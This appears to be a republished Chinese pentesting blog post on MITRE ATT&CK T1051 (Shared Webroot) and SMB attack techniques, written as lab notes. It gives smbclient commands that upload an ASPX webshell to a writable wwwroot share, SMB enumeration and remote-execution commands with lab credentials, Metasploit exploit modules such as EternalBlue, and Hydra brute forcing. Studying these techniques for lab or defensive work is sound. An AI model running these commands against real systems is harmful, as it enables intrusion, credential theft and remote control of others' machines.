前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >T1051: Shared Webroot

T1051: Shared Webroot

作者头像
鸿鹄实验室
发布2021-04-15 10:28:14
9190
发布2021-04-15 10:28:14
举报
文章被收录于专栏:鸿鹄实验室

笔者查看 Mitre ATT&CK T1051时,发现该技术已被弃用,即该项技术已过时,没有在野使用的案例。

问了下@九世,靶机中这种情况很多,所以还是记录下。

简单概括为使用smbclient 上传webshell。

代码语言:javascript
复制
smbclient -L //192.168.3.71 -U 0day/jerry%Admin12345  #列出共享
smbclient //192.168.3.71/wwwroot -U 0day/jerry
smb: \> put /usr/share/webshells/aspx/cmdasp.aspx c.aspx #交互式的shell上传文件
smbclient {{//server/share}} --directory {{path/to/directory}} --command "put {{file.txt}}"  
smbclient //192.168.3.71/wwwroot -U guest%"" --command="put /home/kali/webshell.aspx webshell.aspx"  #密码为空,如要目标文件夹Everyone 用户具有读写权限
#访问 http://192.157.3.71/webshell.aspx 即可

番外篇——SMB

既然接触的SMB,笔者就找了SMB相关的资料看了下,这个服务太常见了,以至于内网很多脆弱点都是靠它打开的。

SMB(Server Message Block)作为一种应用层协议,历史比我们想象的更久远,我猜看到这篇笔记的人都没SMB的年龄大(Barry Feigenbaum最初于1983年初在IBM设计SMB ,是一种文件共享协议,此为SMB1)。

1996年,Microsoft 在 Windows NT 4.0 实现了 SMB1 ,即为CIFS ,注意,大多数时候,更愿意叫做SMB。

简要的列举下Windows 的SMB 版本:

协议版本

使用该协议的Windows 版本

SMB1.0

Windows 2000、Windows XP、Windows Server 2003 和Windows Server 2003 R2

SMB2.0

Windows Vista 和Windows Server 2008

SMB2.1

Windows 7 和Windows Server 2008 R2

SMB3.0

Windows 8 和Windows Server 2012

SMB.3.02

Windows 8.1 和Windows Server 2012 R2

SMB 3.1.1

Windows 10 和Windows Server 2016

在各种SMB资料中,你会频繁的看到一个协议:NetBIOS 协议。

我这里说的NetBIOS 协议 指的是Windows 下的 NetBIOS over TCP(简称NBT)协议,实际上NetBIOS 是一种局域网中的API ,没有定义协议,TCP/IP 上的NetBIOS 通过TCP/IP协议提供了NetBIOS API

简要的说下重点:

  • 基于TCP 的NetBIOS 使用用以下端口
    • nbname 137/UDP

nbname137/TCP

nbdatagram 138/UDP

nbsession 139/TCP

  • 可在本地连接——属性——TCP/IPv4——属性——高级——WINS——禁用TCP/IP 上的NetBIOS 关闭
  • NetBIOS 协议在Windows 上的实现为 NetBios Name Service (NBNS),显示名称为TCP/IP NetBIOS Helper,服务名称为lmhosts
  • 和Hosts 文件类似,存在LMhosts 文件,在Windows 中路径是%Systemroot%\System32\Drivers\Etc\lmhosts.sam,Linux中在samba configs目录中,一般是/etc/samba或/usr/local/samba/lib
  • WINS(Windows Internet Name Service)可以将NetBIOS 名称解析为对应的IP地址(和DNS有些区别),为了解决NetBIOS 名不可路由而出现。

又说了一堆废话,大家理解其中的关键就好。

SMB 枚举

参考:

A Little Guide to SMB Enumeration

使用的一些工具:

  • Nmblookup
  • nbtscan
  • SMBMap
  • Smbclient
  • Rpcclient
  • Nmap
  • Enum4linux
  • Crackmapexec

Nmblookup

nmblookup -A192.168.3.142

NetBIOS 借助NetBIOS 名称后缀进行分类:

Suffix

Service/Description

00

Workstation Service (workstation name)

1C

Domain Controller

20

File Server Service

1B

Domain Master Browser

完整的后缀名建议参考该文章:Appendix C: Known NetBIOS Suffix Values

简单的看可以获得目标所在的域、域控在那台机器、计算机名。

nbtscan 192.168.3.0/24

枚举了一个网段中NetBIOS 名称

smbmp

kali中自带的smbmp会遇到一些问题,请使用作者的最新版SMBMap。

代码语言:javascript
复制
python3 -m pip install -r requirements.txt
python3 smbmap.py -u jerry -p Admin12345 -d workgroup -H 192.168.3.71
python3 smbmap.py -u administrator -p 'Admin!@#45' -d 0day -H 192.168.3.142 -x 'whoami' #执行命令
 python3 smbmap.py -u administrator -p 'Admin!@#45' -d 0day -H 192.168.3.142 -r 'C$\Users' #递归路径(等同于ls)
#另外 该应用同样支持hash,不必使用明文密码

Rpcclient

最初开发Rpcclient 是为了测试Samba本省的MS-RPC功能,

代码语言:javascript
复制
rpcclient -U "" -N 192.168.1.71 #不使用用户名和密码,我们称为空会话,从Windows xp sp3 和Windows server 2003 开始就不支持空会话
rpcclient -U 0day/Administrator%'Admin!@#45' 192.168.3.71
enumdomusers
queryuser 0x3e9 #3e9 =1001
srvinfo
help #相关指令请参考help手册,这里不过多介绍,看下面效果

enum4linux

enum4linux -a192.168.1.142 #默认空会话基本废了,不大可能遇到03的机器

enum4linux -u jerry -p Admin12345 -a 192.168.3.71 #枚举出来的信息非常不友好,

nmap

nmap --script smb-vuln* -p139,445 192.168.1.103 #原文命令是这个,笔者使用报错

ls /usr/share/nmap/scripts/ | grep smb #查看 smb相关的nse脚本

nmap --script smb-vuln-conficker -p135.445 192.168.3.71 #笔者只能一个个这样使用

CrackMapExec

CrackMapExec是笔者比较推荐的,如果这些工具选一个,那么Cme就够了。

依赖 impacket ,所以impacket 就不介绍了。

参考:CrackMapExec - Cheatsheet

#笔者使用的cme 5.1.0dev -x 执行选项暂时有问题,还未解决

代码语言:javascript
复制
cme smb 192.168.3.0/24
cme smb 192.168.3.71  -u administrator -p 'Admin!@#45'  -d 0day --loggedon-users
cme smb 192.168.3.71  -u administrator -p 'Admin!@#45'  -d 0day --disk
cme smb 192.168.3.71  -u administrator -p 'Admin!@#45'  -d 0day --sessions
cme smb 192.168.3.71  -u administrator -p 'Admin!@#45'  -d 0day --users
cme smb 192.168.3.71  -u administrator -p 'Admin!@#45'  -d 0day --groups
cme smb 192.168.3.71  -u administrator -p 'Admin!@#45'  -d 0day --local-groups

#为什么我没有使用本地管理用户,理论上来说本地管理就可以,使用本地管理时遇到rpc_s_access_denied,暂无法解释该错误,所以这里使用的是域管

#需要明确时的上述命令实际上都是对通过rpc对一些常用命令进行封装,自带的命令都能实现同样的效果 net user 、net localgroup、net sessions

代码语言:javascript
复制
cme smb 192.168.3.71  -u jerry -p 'Admin12345' --local-auth  --shares
cme smb 192.168.3.71  -u jerry -p 'Admin12345' --local-auth --rid-brute

#更多命令参考help手册

SMB Penetration Testing

参考:

SMB Penetration Testing (Port 445)

简要的记录下,核心仍然是 nmap、Metasploit、hydra等工具

代码语言:javascript
复制
nmap -p 445 -A 192.168.3.71
nmap -T4 -p445 --script smb-vuln-ms17-010 192.168.3.71
nmap --script smb-vuln* -p 445 192.168.3.71 #前面说过这个命令,使用起来会有些问题

Metasploit

代码语言:javascript
复制
use exploit/windows/smb/ #exploit中的smb相关模块
 use auxiliary/scanner/smb/ #auxiliary中的smb相关模块

介绍下几个模块;

  • exploit/windows/smb/smb_delivery
  • exploit/windows/smb/psexec
  • exploit/windows/smb/ms17_010_eternalblue
  • exploit/windows/smb/psexec
  • auxiliary/server/capture/smb 结合auxiliary/spoof/nbns/nbns_response

可捕获 Net NTLMv2 hash,使用解密工具解密即可,

  • auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop
  • auxiliary/scanner/smb/smb_enumusers :枚举用户
  • post/windows/gather/enum_shares

参数部分使用show options查看配置选项即可。

需要说明,上面一些模块不适用于测试,请自行取舍。

另外记得关注的最新CVE-2020-0796。

Hydra

代码语言:javascript
复制
hydra -L user.txt -P pass.txt 192.168.3.71 smb #暴力破解

END

文章 | 伍默

图文 | 不可商用

在此感谢伍默师傅的投稿!

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-07-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 鸿鹄实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档